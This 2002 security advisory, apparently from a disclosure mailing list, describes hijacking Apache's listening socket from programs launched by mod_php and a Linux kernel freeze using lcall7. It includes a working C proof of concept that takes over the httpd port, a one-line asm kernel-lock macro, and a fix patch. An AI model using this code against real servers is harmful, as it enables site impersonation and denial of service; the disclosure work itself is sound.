Message-ID: <3DC95C54.4010808@guninski.com>
From: guninski at guninski.com (Georgi Guninski)
Subject: Fun with mod_php/Apache 1.3, yet Apache much better than II$

Georgi Guninski security advisory #58, 2002

Fun with mod_php/Apache 1.3, yet Apache much better than II$

Systems affected:
Apache 1.3/mod_php (safe_mode off)
linux kernel < 2.4.19 (different issue)

Risk: Very Low
Date: 6 November 2002

Legal Notice:
This Advisory is Copyright (c) 2002 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission - this especially applies to
so called "vulnerabilities databases".
If you want to link to this content use the URL:
http://www.guninski.com/php1.html
Anything in this document may change without notice.

Disclaimer:
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or  indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.

Description:
I. If a user can execute external programs from mod_php/Apache 1.3 and
safe_mode is off, then he can take over the httpd port in at least 50%
  of the cases. This may lead to emulating the whole apache server - to a
visitor the whole apache server seems under the attacker's control.
Won't be suprised if A$P is also affected from similar attack - check
handles to device\*.

II. It is possible to lock linux kernel < 2.4.19 with the help of lcall7
and the TF. Note: While I discovered this independently, credit for this
should go to someone else - check
http://www.thefreeworld.net/non-US/
kernel-2.4.19-sec

Details:

I. When mod_php launches an external application, it inherits the open
listening httpd socket. With the help of fork(), dup() close() and accept(),
external application may turn itself into listening httpd server. Check [1]
for a demo. The C proggie must be called from mod_php.
This may have impact on providers hosting mod_php or in
combination with a bug which executes php code.

II. The following asm freezes kernel < 2.4.19
#define MSUX "mov $0x100,%eax\npushl %eax\nmov $0x1,%eax\npopfl\nlcall $7,$0"


Workaround/Solution:
I. turn "safe_mode" in php.ini to "on" or try the following unofficial patch,
which works for me, but comes with no warranty - it makes the listening
socket "close on exec" in apache:
----------------------------------------
  The following patch works for me on linux (for apache 1.3.26/Linux):

*** src/main/http_main.c.old    Sun Oct 20 14:13:47 2002
--- src/main/http_main.c        Sun Oct 20 14:44:18 2002
*************** static int make_sock(pool *p, const stru
*** 3784,3792 ****
--- 3784,3795 ----
          GETPRIVMODE();
    #endif

+ if (fcntl(s,F_SETFD,FD_CLOEXEC)== -1) ap_log_error(APLOG_MARK, APLOG_CRIT,
  server_conf, "make_sock: could not do F_SETFD");
        if (bind(s, (struct sockaddr *) server, sizeof(struct sockaddr_in)) == -1) {
          ap_log_error(APLOG_MARK, APLOG_CRIT, server_conf,
               "make_sock: could not bind to %s", addr);
+ // by georgi
+
    #ifdef MPE
          if (ntohs(server->sin_port) < 1024)
              GETUSERMODE();
------------------------------------
II. linux kernel 2.4.19 is not vulnerable, update to it.


Vendor status:
I. Apache and php were notified on Tue, 15 Oct 2002 18:16:40 +0300
The Apache guys seem to prepare a fix. The php guys replied this is known
for ages but did not provide reference for the claims.
II. This is fixed in 2.4.19 and credit should go to someone else.

References

[1]
----tcp4.c----
/*	TCP Example code by Kien Pham (Heavily documented to help others understand.)
	This code is now in Public Domain.
	Look ma, I did this all by myself.	*/

/*
This proggie was taken somewhere from the net as a socket example
Changed a little for interaction with mod_php -- georgi
*/

#include<sys/socket.h>	// Include these for socket(), connect(), bind(), etc.
#include<sys/types.h>
#include<netdb.h>		// Include this for getprotobyname()
#include<string.h>	// Include this for memset()
#include<netinet/in.h>	// Include this for htonl(), htons(), etc.
#include<unistd.h>

#define	PORT	2000

#define THEFD	16

#define INSIZE 20000

void	servermsux()
	{
	 // Variables for the server component of the application.

	 int file_descriptor;	// File descriptor that represents the server socket.
	 struct	sockaddr_in	server_address;	// Really only contains the port we want to 
listen on.
	 int	inbound_connection;	// File descriptor that represents the socket of the 
inbound connection.
	 struct	sockaddr_in	inbound_address;	// Address of the inbound connection.
	 int	inbound_address_size;	// Size of the structure for the inbound connection.
	 unsigned	char	*address_holder;	// Pointer to simplify the extraction of IP 
addresses.
	 char	message[]="HTTP/1.1 200 OK\nContent-Type: text/html\n\n"
		"<h1>Hi<br>MSUX</h1>";	// Constant string to send to the client.
	 char	buffer[INSIZE];		// Buffer to hold incoming data from the client.

	 // Code for the server component begins here.

	file_descriptor=dup(THEFD);

	 if	(file_descriptor<0)	// Check to see if there was a failure in allocation.
		{
		 perror("Server: socket()");
		 return;
		}
	if (close(THEFD) == -1) {perror("close");return; };
	close(1);close(3);	
while(42)
{
	 memset((void*)&inbound_address, 0, sizeof(inbound_address));
	 inbound_address.sin_family=AF_INET;
	 inbound_address_size=sizeof(inbound_address);	// Make sure you do this, or the 
inbound_address will not be filled with information about the incomming address.
	 inbound_connection=accept(file_descriptor, (struct 
sockaddr*)&inbound_address, &inbound_address_size);	// Grab the first socket 
that represents the client that has connected. If none yet, block and wait till 
somebody does.
	 if	(inbound_connection<0)
		{
		 perror("2 accept()");
		 return;
		}
	 address_holder=(unsigned char*)&inbound_address.sin_addr.s_addr; // Save 
ourselves a call to the OS to convert.
	
	 if	(read(inbound_connection, buffer, INSIZE)<0)	// Read from the client.
		{
		 perror("2 Server: read()");
		 return;
		}

	 if	(write(inbound_connection, message, sizeof(message))<0)	// Write the 
message to the client.
		{
		 perror("2 Server: write()");
		 return;
		}
	 close(inbound_connection);	// Tell the OS to clean up and free resources that 
we have used.
} //while
	 close(file_descriptor);
	}


int	main(void)
	{
	 printf("\n2 TCP Networking Injection Example\n");
//	 printf("Written by Kien Pham\n");
//	 printf("For the Networking mini-Tutorial (http://www.tripod.com/~Xengren)\n");
	 if	(!fork())	
		servermsux();

	}

----end-------


Regards,
Georgi Guninski
http://www.guninski.com

Powered by blists - more mailing lists